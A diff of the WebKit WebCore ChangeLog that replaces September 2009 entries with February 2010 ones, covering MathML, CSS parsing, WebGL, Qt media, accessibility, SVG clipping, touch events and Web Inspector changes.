-        Reviewed by Xan Lopez and Dan Winship.
+2010-02-26  Oliver Hunt  <oliver@apple.com>
 
-        Give all requests to libsoup, to let it queue, and schedule them
-        itself, instead of throttling the number of requests in WebCore.
+        Reviewed by Geoff Garen.
 
-        * platform/network/ResourceRequestBase.cpp:
-        * platform/network/soup/ResourceRequestSoup.cpp:
-        (WebCore::initializeMaximumHTTPConnectionCountPerHost):
+        Make the lookup table generator include an explicit cast to expected
+        type of the function.  We do this because otherwise the blind intptr_t
+        cast that is subsequently applied allows incorrectly typed functions
+        to be inserted into the table, where they will only fail at runtime.
+        This change makes such errors produce a compile time failure.
 
-2009-09-10  Jian Li  <jianli@chromium.org>
+        * WebCore.xcodeproj/project.pbxproj:
+        * bindings/scripts/CodeGeneratorJS.pm:
 
-        Reviewed by Eric Seidel.
+2010-02-26  Alex Milowski  <alex@milowski.com>
 
-        [V8] Make XMLHttpRequest.send handle File object.
-        https://bugs.webkit.org/show_bug.cgi?id=28924
+        Reviewed by Kenneth Rohde Christiansen.
 
-        Test: http/tests/local/send-dragged-file.html
+        Added basic support for the munder, munderover, and mover elements.
 
-        * bindings/v8/custom/V8XMLHttpRequestCustom.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
+        Tests: mathml/presentation/over.xhtml
+               mathml/presentation/under.xhtml
+               mathml/presentation/underover.xhtml
 
-2009-09-10  Zoltan Horvath  <zoltan@webkit.org>
+        * WebCore.xcodeproj/project.pbxproj:
+        * mathml/MathMLInlineContainerElement.cpp:
+        (WebCore::MathMLInlineContainerElement::createRenderer):
+        * mathml/RenderMathMLUnderOver.cpp: Added.
+        (WebCore::RenderMathMLUnderOver::RenderMathMLUnderOver):
+        (WebCore::RenderMathMLUnderOver::addChild):
+        (WebCore::getOffsetHeight):
+        (WebCore::RenderMathMLUnderOver::stretchToHeight):
+        (WebCore::RenderMathMLUnderOver::layout):
+        (WebCore::RenderMathMLUnderOver::baselinePosition):
+        (WebCore::RenderMathMLUnderOver::nonOperatorHeight):
+        * mathml/RenderMathMLUnderOver.h: Added.
+        (WebCore::RenderMathMLUnderOver::hasBase):
+        (WebCore::RenderMathMLUnderOver::):
+
+2010-02-24  Stephen White  <senorblanco@chromium.org>
 
         Reviewed by Darin Adler.
 
-        Use fastNew and fastDelete instead of operator new and delete for CSSSelector class. 
-        https://bugs.webkit.org/show_bug.cgi?id=25930
-
-        Change using of operator new to fastNew and operator delete to
-        fastDeleteSkippingDestructor for CSSSelector class to avoid mismatched function call.
+        This CL implements a simple ad-hoc parser for CSS rgb() values.
+        If it fails, it returns false and the normal lex/yacc parser will
+        be invoked.
+        
+        https://bugs.webkit.org/show_bug.cgi?id=35362
 
-        This change fixes valgrind's 'mismatched free' notification.
+        Covered by fast/canvas/canvas-bg.html, fast/canvas/canvas-bg-zoom.html,
+        and many more.
 
         * css/CSSParser.cpp:
-        (WebCore::CSSParser::~CSSParser):
-        (WebCore::CSSParser::createFloatingSelector):
-        * css/CSSSelectorList.cpp:
-        (WebCore::CSSSelectorList::adoptSelectorVector):
+        (WebCore::parseInt):
+        (WebCore::CSSParser::parseColor):
 
-2009-09-10  Steve Block  <steveblock@google.com>
+2010-02-26  Jarkko Sakkinen  <jarkko.sakkinen@tieto.com>
 
-        Reviewed by Darin Adler.
+        Reviewed by Kenneth Rohde Christiansen.
 
-        Geolocation does not correctly handle reentrant calls from callbacks.
-        https://bugs.webkit.org/show_bug.cgi?id=29040
+        https://bugs.webkit.org/show_bug.cgi?id=35419
+        3D canvas did not update when WTF_USE_ACCELERATED_COMPOSITING
+        was enabled but not from run-time settings. Added run-time 
+        check that compositing is enabled.
 
-        Tests: fast/dom/Geolocation/reentrant-error.html
-               fast/dom/Geolocation/reentrant-success.html
+        * html/canvas/WebGLRenderingContext.cpp:
+        (WebCore::WebGLRenderingContext::markContextChanged):
 
-        * page/Geolocation.cpp: Modified.
-        (WebCore::Geolocation::handleError): Modified. Call sendError directly, clearing notifier lists before making callback.
-        (WebCore::Geolocation::makeSuccessCallbacks): Modified. Call sendPosition directly, clearing notifier lists before making callback.
-        * page/Geolocation.h: Modified. Deleted sendErrorToXX and sendPositionToXXX methods.
+2010-02-26  Jarkko Sakkinen  <jarkko.sakkinen@tieto.com>
 
-2009-09-10  Erik Arvidsson  <arv@chromium.org>
+        Reviewed by Kenneth Rohde Christiansen.
 
-        Reviewed by Eric Seidel.
+        Compilation failed because functions glSampleCoverage, glBlendEquation
+        and glActiveTexture were not available.
+        https://bugs.webkit.org/show_bug.cgi?id=35423
 
-        Fixes issue where focused elements did not get blur and focus events when the window was blurred and focused.
-        https://bugs.webkit.org/show_bug.cgi?id=27105
+        * platform/graphics/qt/GraphicsContext3DQt.cpp:
+        (WebCore::GraphicsContext3DInternal::GraphicsContext3DInternal):
+        (WebCore::GraphicsContext3D::activeTexture):
+        (WebCore::GraphicsContext3D::blendEquation):
+        (WebCore::GraphicsContext3D::sampleCoverage):
 
-        Test: fast/events/blur-focus-window-should-blur-focus-element.html
+2010-02-26  Jarkko Sakkinen  <jarkko.sakkinen@tieto.com>
+ 
+         Reviewed by Kenneth Rohde Christiansen.
 
-        * page/FocusController.cpp:
-        (WebCore::dispatchEventsOnWindowAndFocusedNode):
-        (WebCore::FocusController::setFocused):
-        (WebCore::FocusController::setActive):
+         https://bugs.webkit.org/show_bug.cgi?id=35380
+         Fixed compilation error when WTF_USE_ACCELERATED_COMPOSITING=0
+ 
+         * css/MediaQueryEvaluator.cpp:
+         (WebCore::transform_3dMediaFeatureEval):
 
-2009-09-10  Adam Roben  <aroben@apple.com>
+2010-02-26  Nicholas Young  <nicholas.young@nokia.com>
 
-        Make the play/pause button in <video> controls indicate the button's
-        action, not the movie state
+        Reviewed by Tor Arne Vestbø.
 
-        This matches the Mac behavior, iTunes, and many other media players.
+        [Qt] Incorrect painting after a size changed.
+        https://bugs.webkit.org/show_bug.cgi?id=35412
 
-        No test possible.
+        No new tests. Bug fix in backend.
 
-        Fixes <http://webkit.org/b/29126> Play/pause button in <video>
-        controls shows the wrong image
+        * platform/graphics/qt/MediaPlayerPrivateQt.cpp:
+        (WebCore::MediaPlayerPrivate::paint): Provide the source rectangle, rather than inferring it.
 
-        Reviewed by Eric Carlson.
+2010-02-26  Nicholas Young  <nicholas.young@nokia.com>
 
-        * rendering/RenderMediaControls.cpp:
-        (WebCore::RenderMediaControls::paintMediaControlsPart): Reversed when
-        we show the play vs. pause artwork, so that the button reflects what
-        will happen when you click it, rather than the current state of the
-        movie.
+        Reviewed by Tor Arne Vestbø.
 
-2009-09-09  Steve Block  <steveblock@google.com>
+        [Qt] Incorrect handling of MIME types in Media Player
+        https://bugs.webkit.org/show_bug.cgi?id=35413
 
-        Reviewed by Maciej Stachowiak.
+        No new tests. Bug fix in backend.
+
+        * platform/graphics/qt/MediaPlayerPrivateQt.cpp:
+        (WebCore::MediaPlayerPrivate::supportsType): Corrected logic.
 
-        Geolocation Coordinates::toString() prints bogus values for unspecified properties.
-        https://bugs.webkit.org/show_bug.cgi?id=29080
+2010-02-26  Joanmarie Diggs  <joanmarie.diggs@gmail.com>
 
-        Test: fast/dom/Geolocation/position-string.html
+        Reviewed by Xan Lopez.
 
-        * GNUmakefile.am: Modified. Removes Geoposition.cpp and Coordinates.cpp.
-        * WebCore.gypi: Modified. Removes Geoposition.cpp and Coordinates.cpp.
-        * WebCore.pro: Modified. Removes Geoposition.cpp and Coordinates.cpp.
-        * WebCore.vcproj/WebCore.vcproj: Modified. Removes Geoposition.cpp and Coordinates.cpp.
-        * WebCore.xcodeproj/project.pbxproj: Modified. Removes Geoposition.cpp and Coordinates.cpp.
-        * WebCoreSources.bkl: Modified. Removes Geoposition.cpp and Coordinates.cpp.
-        * page/Coordinates.cpp: Removed.
-        * page/Coordinates.h: Modified. Removes toString method.
-        * page/Coordinates.idl: Modified. Removes toString method.
-        * page/Geoposition.cpp: Removed.
-        * page/Geoposition.h: Modified. Removes toString method.
-        * page/Geoposition.idl: Modified. Removes toString method.
+        https://bugs.webkit.org/show_bug.cgi?id=35418
+        [Gtk] Every table, including layout tables, should be exposed as a table
 
-2009-09-09  Steve Block  <steveblock@google.com>
+        This patch exposes layout tables as tables. (Addressing the problematic table
+        hierarchy remains to be done.)
 
-        Reviewed by Adam Barth.
+        * accessibility/gtk/AccessibilityObjectAtk.cpp:
+        (AccessibilityObject::accessibilityPlatformIncludesObject):
+        * accessibility/AccessibilityRenderObject.cpp:
+        (AccessibilityRenderObject::determineAccessibilityRole):
 
-        Correctly applies the Geolocation timeout property.
-        https://bugs.webkit.org/show_bug.cgi?id=27256
+2010-02-26  Adam Barth  <abarth@webkit.org>
 
-        If a timeout is specified, the timer is started as soon as the location acquistion process starts.
-        If a position fix is not obtained within the timeout interval, the position request is cancelled
-        and the error callback (if specified) is invoked. If a position fix is obtained within the timeout
-        interval, the timer is stopped. Permissions are then requested from the user if required. See
-        http://www.w3.org/TR/geolocation-API/#position-options.
+        Reviewed by Darin Adler.
 
-        Note that this logic means that the time required to obtain permissions from the user is not
-        included in the timeout interval.
+        XSSAuditor is super super super slow
+        https://bugs.webkit.org/show_bug.cgi?id=35373
 
-        Tests: fast/dom/Geolocation/timeout.html
-               fast/dom/Geolocation/timeout-zero.html
+        In this patch, we separate the decoding cache for the page's URL and
+        form data.  Previously, we used the same cache for both, which caused
+        us miss the cache every time when the page had form data (because the
+        cache only stored one entry).  When the form data is large, we were
+        wasting a lot of time canonicalizing.
 
-        * page/Geolocation.cpp: Modified.
-        (WebCore::Geolocation::GeoNotifier::GeoNotifier): Modified. Takes Geolocation object as parameter.
-        (WebCore::Geolocation::GeoNotifier::hasZeroTimeout): Added. Determines whether this request has a zero timeout.
-        (WebCore::Geolocation::GeoNotifier::startTimerIfNeeded): Renamed from startTimer. Starts the timer if a timeout was specified.
-        (WebCore::Geolocation::GeoNotifier::timerFired): Modified. Calls the error callback if specified, and reports the timeout to the Geolocation object.
-        (WebCore::Geolocation::getCurrentPosition): Modified. Calls maybeStartTimer when starting the location acquisition process.
-        (WebCore::Geolocation::watchPosition): Modified. Calls maybeStartTimer when starting the location acquisition process.
-        (WebCore::Geolocation::requestTimedOut): Added. Cancels a request when it times out.
-        (WebCore::Geolocation::setIsAllowed): Modified. No longer starts timers.
-        (WebCore::Geolocation::sendPosition): Modified. No longer stops timers.
-        (WebCore::Geolocation::stopTimer): Added. Stops the timers for a vector of notifiers.
-        (WebCore::Geolocation::stopTimersForOneShots): Added. Stops the timers for all one-shots.
-        (WebCore::Geolocation::stopTimersForWatchers): Added. Stops the timers for all watchers.
-        (WebCore::Geolocation::stopTimers): Added. Stops the timers for all requests.
-        (WebCore::Geolocation::geolocationServicePositionChanged): Modfified. Stops the timers for all requests.
-        * page/Geolocation.h: Modified.
-        (WebCore::Geolocation::GeoNotifier::create): Modified. Takes Geolocation object as parameter.
+        * page/XSSAuditor.cpp:
+        (WebCore::XSSAuditor::findInRequest):
+        * page/XSSAuditor.h:
 
-2009-09-09  Chris Fleizach  <cfleizach@apple.com>
+2010-02-26  Dirk Schulze  <krit@webkit.org>
 
-        AX notifications should be an ENUM type instead of strings
-        https://bugs.webkit.org/show_bug.cgi?id=28963
+        Reviewed by Nikolas Zimmermann.
 
-        Build fix for Qt.
+        SVGResourceClipper needs to be moved to RenderSVGResourceClipper
+        https://bugs.webkit.org/show_bug.cgi?id=35421
 
-        * accessibility/AXObjectCache.h:
-        (WebCore::AXObjectCache::postNotification):
-        (WebCore::AXObjectCache::postPlatformNotification):
+        Move SVGResourceClipper to RenderSVGResourceClipper. This follows the changes
+        of Masker and helps to clean up the SVG code. Code snippets from SVGClipPathElement
+        and SVGResourceClipper got combined in RenderSVGResourceClipper. DRT results are
+        more readable for clipPath's now. It's possible to see the unit type of clipper, as
+        well as it's childs instead of just one path.
 
-2009-09-08  Chris Fleizach  <cfleizach@apple.com>
+        * Android.mk:
+        * GNUmakefile.am:
+        * WebCore.vcproj/WebCore.vcproj:
+        * WebCore.xcodeproj/project.pbxproj:
+        * rendering/RenderSVGResource.h:
+        (WebCore::):
+        * rendering/RenderSVGResourceClipper.cpp: Added.
+        (WebCore::RenderSVGResourceClipper::RenderSVGResourceClipper):
+        (WebCore::RenderSVGResourceClipper::~RenderSVGResourceClipper):
+        (WebCore::RenderSVGResourceClipper::invalidateClients):
+        (WebCore::RenderSVGResourceClipper::invalidateClient):
+        (WebCore::RenderSVGResourceClipper::applyResource):
+        (WebCore::RenderSVGResourceClipper::resourceBoundingBox):
+        * rendering/RenderSVGResourceClipper.h: Added.
+        (WebCore::RenderSVGResourceClipper::renderName):
+        (WebCore::RenderSVGResourceClipper::resourceType):
+        (WebCore::RenderSVGResourceClipper::clipPathUnits):
+        * rendering/SVGRenderSupport.cpp:
+        (WebCore::SVGRenderBase::prepareToRenderSVGContent):
+        (WebCore::SVGRenderBase::clipperBoundingBoxForRenderer):
+        (WebCore::SVGRenderBase::deregisterFromResources):
+        * rendering/SVGRenderTreeAsText.cpp:
+        (WebCore::operator<<):
+        (WebCore::writeStyle):
+        (WebCore::writeSVGResource):
+        (WebCore::writeResources):
+        * svg/SVGClipPathElement.cpp:
+        (WebCore::SVGClipPathElement::svgAttributeChanged):
+        (WebCore::SVGClipPathElement::childrenChanged):
+        (WebCore::SVGClipPathElement::createRenderer):
+        * svg/SVGClipPathElement.h:
+        (WebCore::SVGClipPathElement::isValid):
+        * svg/SVGStyledElement.cpp:
+        (WebCore::SVGStyledElement::invalidateResources):
+        * svg/graphics/SVGResource.h:
+        (WebCore::):
+        (WebCore::SVGResource::isPaintServer):
+        (WebCore::SVGResource::isFilter):
+        (WebCore::SVGResource::isMarker):
+        * svg/graphics/SVGResourceClipper.cpp: Removed.
+        * svg/graphics/SVGResourceClipper.h: Removed.
 
-        Reviewed by Darin Adler.
+2010-02-26  Ben Murdoch  <benm@google.com>
 
-        AX notifications should be an ENUM type instead of strings
-        https://bugs.webkit.org/show_bug.cgi?id=28963
+        Reviewed by Kenneth Rohde Christiansen.
 
-        Moves AX notifications over to an ENUM type instead of
-        using the actual string values that are used on OS X.
+        The element that a touchevent is dispatched to isn't always right
+        https://bugs.webkit.org/show_bug.cgi?id=35431
 
-        * accessibility/AXObjectCache.cpp:
-        (WebCore::AXObjectCache::postNotification):
-        (WebCore::AXObjectCache::selectedChildrenChanged):
-        * accessibility/AXObjectCache.h:
-        (WebCore::AXObjectCache::):
-        * accessibility/AccessibilityRenderObject.cpp:
-        (WebCore::AccessibilityRenderObject::handleActiveDescendantChanged):
-        * accessibility/chromium/AXObjectCacheChromium.cpp:
-        (WebCore::AXObjectCache::postPlatformNotification):
-        * accessibility/gtk/AXObjectCacheAtk.cpp:
-        (WebCore::AXObjectCache::postPlatformNotification):
-        * accessibility/mac/AXObjectCacheMac.mm:
-        (WebCore::AXObjectCache::postPlatformNotification):
-        * accessibility/win/AXObjectCacheWin.cpp:
-        (WebCore::AXObjectCache::postPlatformNotification):
-        * dom/Document.cpp:
-        (WebCore::Document::implicitClose):
-        * dom/Element.cpp:
-        (WebCore::Element::updateAfterAttributeChanged):
-        * editing/Editor.cpp:
-        (WebCore::Editor::respondToChangedContents):
-        * editing/mac/SelectionControllerMac.mm:
-        (WebCore::SelectionController::notifyAccessibilityForSelectionChange):
-        * html/HTMLInputElement.cpp:
-        (WebCore::HTMLInputElement::setChecked):
-        * page/FrameView.cpp:
-        (WebCore::FrameView::layout):
-        * rendering/RenderTextControl.cpp:
-        (WebCore::RenderTextControl::setInnerTextValue):
+        The element that touch events are dispatched on is not always the
+        correct one, as the cached m_touchEventTarget member is only updated
+        when the first element of the PlatformTouchEvent touch list is in the
+        TouchPressed state.
 
-2009-09-08  Adam Barth  <abarth@webkit.org>
+        This patch changes this behavior to dispatch the event to the target
+        of the touch that caused the event to be generated and eliminates the
+        m_touchEventTarget in favour of using the touch target hashmap. It also
+        simplifies the way in which the touchTargets list is generated as we
+        no longer have m_touchEventTarget (which was used previously to build
+        the list). The new behavior matches the observed behavior of the
+        iPhone and Android.
 
-        Reviewed by Eric Seidel.
+        * page/EventHandler.cpp:
+        (WebCore::assembleTargetTouches): Added. new function to build the
+            targetTouches list. Filters a list of touches (passed) about
+            another given touch.
+        (WebCore::EventHandler::handleTouchEvent): Remove the
+            m_touchEventTarget member, and simplify the generation of the
+            TouchLists that are bundled with the TouchEVent object. Dispatch
+            the event to the target of the touch that caused the event to be
+            fired.
+        * page/EventHandler.h: Remove m_touchEventTarget.
+
+2010-02-26  Dirk Pranke  <dpranke@chromium.org>
 
-        Missing checkout for getSVGDocument()
-        https://bugs.webkit.org/show_bug.cgi?id=29064
+        Reviewed by Darin Fisher.
 
-        The V8 code generator didn't understand SVGCheckSecurityDocument.
+        Fix the handling of updates to #hash fragments to check for differences
+        post-canonicalization rather than comparing pre- to post-. Chromium
+        had a bug where we would set the #hash on an about:blank URL and generate
+        an onload event because we thought the URL (not just the fragment) was
+        changing.
 
-        Tests: http/tests/security/xss-DENIED-getSVGDocument-iframe.html
-               http/tests/security/xss-DENIED-getSVGDocument-object.html
+        http://bugs.webkit.org/show_bug.cgi?id=35180
 
-        * bindings/scripts/CodeGeneratorV8.pm:
+        Test: fast/loader/about-blank-hash-change.html
 
-2009-09-09  Cameron McCormack  <cam@mcc.id.au>
+        * bindings/v8/custom/V8LocationCustom.cpp:
+        (WebCore::V8Location::hashAccessorSetter):
 
-        Reviewed by Eric Seidel.
+2010-02-26  Zhenyao Mo  <zmo@google.com>
 
-        Make SVGStyleElement inherit from SVGLangSpace
-        https://bugs.webkit.org/show_bug.cgi?id=29058
+        Reviewed by David Levin.
 
-        Required by SVG 1.1 Second Edition:
-        http://dev.w3.org/SVG/profiles/1.1F2/publish/styling.html#InterfaceSVGStyleElement
+        texImage2D and texSubImage2D taking ImageData ignore flipY and premultiplyAlpha
+        https://bugs.webkit.org/show_bug.cgi?id=34459
 
-        Test: svg/dom/SVGStyleElement/style-langspace.html
+        Test: fast/canvas/webgl/tex-image-and-sub-image-2d-with-image-data.html
 
-        * svg/SVGStyleElement.cpp: Drop methods xmlspace and setXmlspace.
-        (WebCore::SVGStyleElement::SVGStyleElement): Add SVGLangSpace()
-        initializer.
-        (WebCore::SVGStyleElement::parseMappedAttribute): Call
-        parseMappedAttribute on SVGLangSpace.
-        * svg/SVGStyleElement.h: Drop xmlspace and setXmlspace declarations.
-        * svg/SVGStyleElement.idl: Drop xmlspace attribute and add SVGLangSpace
-        as a superinterface.
+        * html/canvas/WebGLRenderingContext.cpp:
+        (WebCore::WebGLRenderingContext::texImage2D): Apply flipY and premultiplyAlpha to the texture data.
+        (WebCore::WebGLRenderingContext::texSubImage2D): Ditto.
+        * platform/graphics/GraphicsContext3D.cpp:
+        (WebCore::GraphicsContext3D::extractImageData): Extract data from ImageData, applying flipY and premultiplyAlpha.
+        * platform/graphics/GraphicsContext3D.h: Add function extractImageData declaration.
 
-2009-09-09  Nate Chapin  <japhet@chromium.org>
+2010-02-26  Zhenyao Mo  <zmo@google.com>
 
         Reviewed by David Levin.
 
-        Remove unnecessary includes and forward declarations in V8Proxy.h
+        Set viewport to canvas size upon context creation
+        https://bugs.webkit.org/show_bug.cgi?id=35057
 
-        https://bugs.webkit.org/show_bug.cgi?id=29111
+        Covered by existing tests, in particular fast/canvas/webgl/gl-get-calls.html
 
-        * bindings/v8/V8Proxy.h:
+        * html/canvas/WebGLRenderingContext.cpp:
+        (WebCore::WebGLRenderingContext::WebGLRenderingContext): Set the viewport size to match the canvas size.
 
-2009-07-30  Eric Seidel  <eric@webkit.org>
+2010-02-26  Pavel Feldman  <pfeldman@chromium.org>
 
-        Reviewed by Adam Barth.
+        Not reviewed: touch InspectorController to force front-end deployment.
 
-        Add more position constructors
-        positionBeforeNode, positionAfterNode
-        firstPositionInNode, lastPositionInNode
-        https://bugs.webkit.org/show_bug.cgi?id=25494
+        * inspector/InspectorController.cpp:
 
-        I also added a lastOffsetInNode and deployed it to a couple places.
+2010-02-26  Ilya Tikhonovsky  <loislo@chromium.org>
 
-        There are no callers to these new constructors yet, but those
-        will be coming in future patches.
+        Reviewed by Pavel Feldman.
 
-        * dom/Position.cpp:
-        (WebCore::Position::computeOffsetInContainerNode):
-        * dom/Position.h:
-        (WebCore::positionBeforeNode):
-        (WebCore::positionAfterNode):
-        (WebCore::lastOffsetInNode):
-        (WebCore::firstPositionInNode):
-        (WebCore::lastPositionInNode):
-        * editing/ApplyStyleCommand.cpp:
-        * editing/TextIterator.cpp:
-        (WebCore::SimplifiedBackwardsTextIterator::SimplifiedBackwardsTextIterator):
-        * editing/htmlediting.cpp:
-        (WebCore::lastOffsetForEditing):
+        WebInspector: While the current timeline view in DevTools provides a great overview of
+        things happening, we should make it easier to locate the cause of an event,
+        e.g., link to JS where relevant.
+        Caller info support for all kind of Timeline events and new Function Call event will be added.
+        JSC can be patched the same way as it will be done for V8.
 
-2009-04-30  Eric Seidel  <eric@webkit.org>
+        https://bugs.webkit.org/show_bug.cgi?id=33995
 
-        Reviewed by Adam Barth.
+        * bindings/js/ScriptCallStack.cpp:
+        (WebCore::ScriptCallStack::callLocation):
+        * bindings/js/ScriptCallStack.h:
+        * bindings/v8/ScriptCallStack.cpp:
+        (WebCore::ScriptCallStack::create):
+        (WebCore::ScriptCallStack::callLocation):
+        * bindings/v8/ScriptCallStack.h:
+        * bindings/v8/V8Proxy.cpp:
+        (WebCore::V8Proxy::callFunction):
+        * inspector/InspectorTimelineAgent.cpp:
+        (WebCore::InspectorTimelineAgent::InspectorTimelineAgent):
+        (WebCore::InspectorTimelineAgent::~InspectorTimelineAgent):
+        (WebCore::InspectorTimelineAgent::willCallFunction):
+        (WebCore::InspectorTimelineAgent::didCallFunction):
+        (WebCore::InspectorTimelineAgent::pushCurrentRecord):
+        * inspector/InspectorTimelineAgent.h:
+        (WebCore::):
+        (WebCore::InspectorTimelineAgent::instanceCount):
+        * inspector/TimelineRecordFactory.cpp:
+        (WebCore::TimelineRecordFactory::createGenericRecord):
+        (WebCore::TimelineRecordFactory::createFunctionCallData):
+        * inspector/TimelineRecordFactory.h:
+        * inspector/front-end/Popover.js:
+        (WebInspector.Popover.prototype.hideWhenClicked):
+        (WebInspector.Popover.prototype._positionElement):
+        * inspector/front-end/TimelineAgent.js:
+        * inspector/front-end/TimelinePanel.js:
+        (WebInspector.TimelinePanel):
+        (WebInspector.TimelinePanel.prototype._innerAddRecordToTimeline):
+        (WebInspector.TimelinePanel.prototype._formatRecord):
+        (WebInspector.TimelinePanel.prototype._getRecordDetails):
+        (WebInspector.TimelinePanel.prototype.reset):
+        (WebInspector.TimelinePanel.prototype._closeRecordDetails):
+        (WebInspector.TimelinePanel.prototype._onScroll):
+        (WebInspector.TimelinePanel.prototype._refresh):
+        (WebInspector.TimelinePanel.prototype._refreshRecords):
+        (WebInspector.TimelineRecordListRow):
+        (WebInspector.TimelineRecordListRow.prototype.update):
+        (WebInspector.TimelineRecordListRow.prototype._createCell):
+        (WebInspector.TimelineRecordListRow.prototype._createRow):
+        (WebInspector.TimelineRecordListRow.prototype._createLinkRow):
+        (WebInspector.TimelineRecordListRow.prototype._generateBubbleContent):
+        (WebInspector.TimelineRecordListRow.prototype._onClick):
+        * inspector/front-end/WebKit.qrc:
+        * inspector/front-end/inspector.js:
+        (WebInspector.linkifyResourceAsNode):
+
+2010-02-26  Csaba Osztrogonác  <ossy@webkit.org>
+
+        Unreviewed. Roll-out r55263 because it broke fast/forms/textarea-type-spaces-pretty-diff.html.
+        https://bugs.webkit.org/show_bug.cgi?id=30946
 
-        Rename positionBeforeNode to positionInParentBeforeNode
-        and positionAfterNode to positionInParentAfterNode
-        in preparation for adding a positionBeforeNode
-        which returns a neighbor-anchored position.
-        https://bugs.webkit.org/show_bug.cgi?id=25494
-
-        No functional changes, thus no tests.
-
-        * dom/PositionConstructors.h:
-        (WebCore::positionInParentBeforeNode):
-        (WebCore::positionInParentAfterNode):
-        * dom/PositionIterator.cpp:
-        (WebCore::PositionIterator::operator Position):
-        * editing/ApplyStyleCommand.cpp:
-        (WebCore::ApplyStyleCommand::applyInlineStyle):
         * editing/CompositeEditCommand.cpp:
-        (WebCore::CompositeEditCommand::positionOutsideTabSpan):
-        (WebCore::CompositeEditCommand::breakOutOfEmptyMailBlockquotedParagraph):
-        (WebCore::CompositeEditCommand::positionAvoidingSpecialElementBoundary):
-        * editing/CreateLinkCommand.cpp:
-        (WebCore::CreateLinkCommand::doApply):
-        * editing/DeleteButtonController.cpp:
-        (WebCore::DeleteButtonController::deleteTarget):
-        * editing/DeleteSelectionCommand.cpp:
-        (WebCore::DeleteSelectionCommand::initializeStartEnd):
-        (WebCore::updatePositionForNodeRemoval):
-        * editing/InsertLineBreakCommand.cpp:
-        (WebCore::InsertLineBreakCommand::doApply):
-        * editing/InsertListCommand.cpp:
-        (WebCore::InsertListCommand::doApply):
-        * editing/InsertParagraphSeparatorCommand.cpp:
-        (WebCore::InsertParagraphSeparatorCommand::doApply):
+        (WebCore::isWhitespace):
+        (WebCore::CompositeEditCommand::rebalanceWhitespaceAt):
         * editing/InsertTextCommand.cpp:
         (WebCore::InsertTextCommand::input):
-        * editing/ReplaceSelectionCommand.cpp:
-        (WebCore::ReplaceSelectionCommand::positionAtStartOfInsertedContent):
-        (WebCore::ReplaceSelectionCommand::doApply):
-        * editing/VisibleSelection.cpp:
-        (WebCore::VisibleSelection::adjustSelectionToAvoidCrossingEditingBoundaries):
-        * editing/htmlediting.cpp:
-        (WebCore::firstEditablePositionAfterPositionInRoot):
-        (WebCore::lastEditablePositionBeforePositionInRoot):
-        (WebCore::rangeCompliantEquivalent):
-        (WebCore::positionBeforeContainingSpecialElement):
-        (WebCore::positionAfterContainingSpecialElement):
-        (WebCore::positionBeforeTabSpan):
-
-2009-04-30  Eric Seidel  <eric@webkit.org>
-
-        Reviewed by Adam Barth.
-
-        Re-organize position creation functions in preparation for adding more
-        https://bugs.webkit.org/show_bug.cgi?id=25494
-
-        Make position functions inline to avoid ref-churn.
-        Remove startPosition/endPosition as they were only used in one place.
-
-        No functional changes, thus no tests.
-
-        * dom/Position.cpp:
-        * dom/Position.h:
-        (WebCore::positionBeforeNode):
-        (WebCore::positionAfterNode):
-        * editing/SelectionController.cpp:
-        (WebCore::SelectionController::moveTo):
-        * editing/TypingCommand.cpp:
+        * editing/InsertTextCommand.h:
         * editing/htmlediting.cpp:
         * editing/htmlediting.h:
-        (WebCore::firstDeepEditingPositionForNode):
-        (WebCore::lastDeepEditingPositionForNode):
-        * rendering/RenderObject.cpp:
-
-2009-09-09  Kevin Watters  <kevinwatters@gmail.com>
-
-        Reviewed by Kevin Ollivier.
-        
-        [wx] Add wxSize conversions for IntSize.
-        https://bugs.webkit.org/show_bug.cgi?id=29104
-
-        * platform/graphics/IntSize.h:
-        * platform/graphics/wx/IntSizeWx.cpp: Added.
-        (WebCore::IntSize::IntSize):
-        (WebCore::IntSize::operator wxSize):
-
-2009-09-09  Yaar Schnitman  <yaar@chromium.org>
 
-        Reviewed by David Levin.
-        
-        Chromium uses its own config.h file that was forked from webkit's config.h.
-        By merging in Chromium's defines, Chromium would again be able to use webkit's
-        config.h.
-
-        https://bugs.webkit.org/show_bug.cgi?id=28882 
-
-        * config.h: Added chromium-specific defines. 
-
-2009-09-09  Jens Alfke  <snej@chromium.org>
-
-        Reviewed by Eric Seidel.
-
-        Initialize DataTransfer's effectAllowed and dropEffect properties correctly
-        according to HTML5 spec (sec. 7.9.2-7.9.3).
-        https://bugs.webkit.org/show_bug.cgi?id=26700
-        - At the start of a drag operation, the value of effectAllowed should be
-          the string "uninitialized".
-        - At end of dragstart handler, if effectAllowed hasn't been set yet, it
-          should be set to "copy".
-        - on dragenter and dragover event, dropEffect should be initialized to a
-          default value based on the value of effectAllowed.
-        - at end of dragenter and dragover the dropEffect should be set to "none"
-          if the value set by the handler doesn't match the effectAllowed.
-        - on dragleave event, dropEffect should be "none".
-        - on drop event, dropEffect should be the previously negotiated value.
-
-        Test: fast/events/drag-dropeffect.html
-
-        * WebCore.base.exp:
-            Added a parameter to EventHandler::dragSourceMovedTo.
-        * dom/Clipboard.cpp:
-        (WebCore::Clipboard::Clipboard):
-            Initialize m_effectAllowed to "uninitialized".
-        (WebCore::Clipboard::sourceOperation):
-            Treat "uninitialized" as meaning no value has been set.
-        * page/DragController.cpp:
-        (WebCore::DragController::DragController):
-            Initialize new member m_destinationDragOperation.
-        (WebCore::DragController::dragExited):
-            Set m_destinationDragOperation to none on dragExit.
-        (WebCore::DragController::performDrag):
-            Set m_destinationDragOperation to current dropEffect.
-        (WebCore::DragController::dragEnteredOrUpdated):
-            Make sure to clear the operation if drag source doesn't allow it.
-        (WebCore::DragController::tryDHTMLDrag):
-            Set a default value for the dst drag op before sending dragEnter/Over.
-        (WebCore::DragController::startDrag):
-            Clear m_destinationDragOperation at start of drag.
-        * page/DragController.h:
-        (WebCore::DragController::destinationDragOperation):
-            Added new member m_destinationDragOperation, and its public getter.
-        * page/EventHandler.cpp:
-        (WebCore::EventHandler::updateDragAndDrop):
-            dropEffect should be 'none' during dropleave handler, per spec.
-        (WebCore::EventHandler::dragSourceMovedTo):
-            Added DragOperation parameter, so the handler sees the current dropEffect.
-        (WebCore::EventHandler::handleDrag):
-            Assume DragOperationEvery for non-DHTML drags.
-        * page/EventHandler.h:
-            Added DragOperation parameter to dragSourceMovedTo().
+2010-02-25  Mark Rowe  <mrowe@apple.com>
 
-2009-09-09  Dumitru Daniliuc  <dumi@chromium.org>
+        Reviewed by Brady Eidson.
 
-        Reviewed by Dimitri Glazkov.
+        <rdar://problem/7688455> REGRESSION(r55205): Crash inside dispatchEventsOnWindowAndFocusedNode when clicking link from bookmarks view
 
